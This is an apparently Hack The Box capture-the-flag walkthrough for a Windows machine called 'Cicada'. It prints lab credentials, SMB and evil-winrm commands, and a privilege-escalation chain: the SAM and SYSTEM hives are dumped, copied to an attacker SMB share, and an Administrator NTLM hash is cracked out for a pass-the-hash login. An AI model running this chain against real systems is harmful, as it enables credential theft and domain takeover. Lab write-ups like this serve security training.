githubEdit

Cicada

smbclient \\\\10.10.11.35\\DEV -U 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
--------------------------------------------------------------------
cat Backup_script.ps1 

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
--------------------------------------------------------------------
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
----------------------------------------------
user.txt: 1d12de2c4162688e2ee9ba080c707d96
-----------------------------------------------------
reg save hklm\system c:\Temp\system


copy C:\Temp\sam \\10.10.16.53\share\sam
copy C:\Temp\system \\10.10.16.53\share\system

evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Initial Access

  1. Enumerate SMB Shares:

    • Used smbclient to list accessible shares:

    • Found the HR share and accessed it:

  2. Found Credentials:

    • Discovered a file containing credentials:

  3. Enumerate Users:

    • Used nxc to enumerate users via RID brute-forcing:

    • Identified users like michael.wrightson, david.orelious, and emily.oscars.

  4. Authenticate as michael.wrightson:

    • Used the found credentials to authenticate:

  5. Explore SMB Shares:

    • Found additional shares and accessed the dev share:

  6. Found New Credentials:

    • Discovered credentials for emily.oscars:

  7. Authenticate as emily.oscars:

    • Used evil-winrm to authenticate:

Privilege Escalation

  1. Check Privileges:

    • Ran whoami /priv and found SeBackupPrivilege and SeRestorePrivilege enabled.

  2. Dump SAM and SYSTEM Hives:

    • Created a Temp folder and dumped the hives:

  3. Transfer Files Using SMB Server:

    • Set up an SMB server on the attacking machine:

    • Copied the files to the SMB share from the target machine:

  4. Extract NTLM Hashes:

    • Used pypykatz to extract the hashes:

    • Found the NTLM hash for the Administrator:

  5. Authenticate as Administrator:

    • Used evil-winrm with the NTLM hash:

  6. Retrieve the Root Flag:

    • Navigated to the Administrator desktop and read the root.txt file:

Last updated

Was this helpful?